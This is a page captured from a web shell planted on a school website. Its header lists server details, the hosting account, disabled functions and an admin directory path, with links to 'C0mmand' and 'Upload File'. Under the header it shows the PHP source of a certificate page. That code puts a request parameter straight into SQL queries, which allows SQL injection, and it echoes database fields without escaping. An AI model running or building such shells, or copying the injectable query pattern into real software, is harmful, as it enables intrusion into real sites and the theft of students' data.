|
Server IP : 2a02:4780:11:1359:0:1d43:a566:2 / Your IP : 216.73.216.20 Web Server : LiteSpeed System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u490972518 ( 490972518) PHP Version : 5.6.40 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : ON | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u490972518/domains/ppschool.org.in/public_html/js/../admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include("../link/databaseconnection.php");
$id=$_REQUEST['flag'];
$sel="select * from summer where id ='$id' order by id asc";
$res=mysqli_query($conn,$sel);
$row=mysqli_fetch_array($res,MYSQLI_BOTH);
$student_id=$row['student_id'];
$session=$row['session'];
$sel3="select * from registration where id ='$student_id' and session='$session' order by id asc";
$res3=mysqli_query($conn,$sel3);
$row3=mysqli_fetch_array($res3,MYSQLI_BOTH);
?>
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Sofia">
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
.container {
position: relative;
text-align: center;
color: white;
}
.bottom-left {
position: absolute;
bottom: 8px;
left: 16px;
}
.top-left {
position: absolute;
top: 8px;
left: 16px;
}
.top-right {
position: absolute;
top: 8px;
right: 16px;
}
.name {
position: absolute;
top: 45%;
left: 30%;
color:black;
font-size:18px;
font-weight:bold;
width:450px;
text-align:center;
text-transform: capitalize;
}
.pic {
position: absolute;
top: 30%;
left:80%;
color:black;
font-size:25px;
font-weight:bold;
font-family: "Sofia", sans-serif;
text-transform: capitalize;
}
.position1 {
position: absolute;
top: 60%;
left: 58%;
color:black;
font-size:20px;
font-weight:bold;
text-transform: capitalize;
}
@media print {
.name {
position: absolute;
top: 45%;
left: 25%;
color:black;
font-size:25px;
font-weight:bold;
text-transform: capitalize;
}
.position1 {
position: absolute;
top: 60%;
color:black;
font-size:20px;
font-weight:bold;
text-transform: capitalize;
}
.name {
position: absolute;
top: 45%;
left: 20%;
color:black;
font-size:22px;
font-weight:bold;
width:800px;
text-align:center;
text-transform: capitalize;
}
.pic {
position: absolute;
top: 30%;
left:80%;
color:black;
font-size:25px;
font-weight:bold;
font-family: "Sofia", sans-serif;
text-transform: capitalize;
}
}
</style>
</head>
<body>
<div class="container" style='border:2px solid'>
<img src="../images/su.jpg" alt="Snow" style="width:100%;height:100%">
<div class="name"><span style='font-family: Verdana;'>This Certificate is to </span><br/><br/><span style=' font-family: 'Trebuchet MS''><i><u><?php echo $row3['name'];?></u></span></i>
<p style='font-family: Cursive;' >For Participating with enthusiasm at <br/><br/><i><span style='font-family: cooper;font-size:30px;font-weight:bold'><u><?php echo $row['part'];?></u></span> <br/><br/> on this <i><u><?php echo $row['on_this'];?> </u> day of <i> <u><?php echo $row['day'];?></u> </i> in the year <i><u><?php echo $row3['session'];?></u></i></p> </div>
<div class="pic"></div>
</div>
</body>
</html>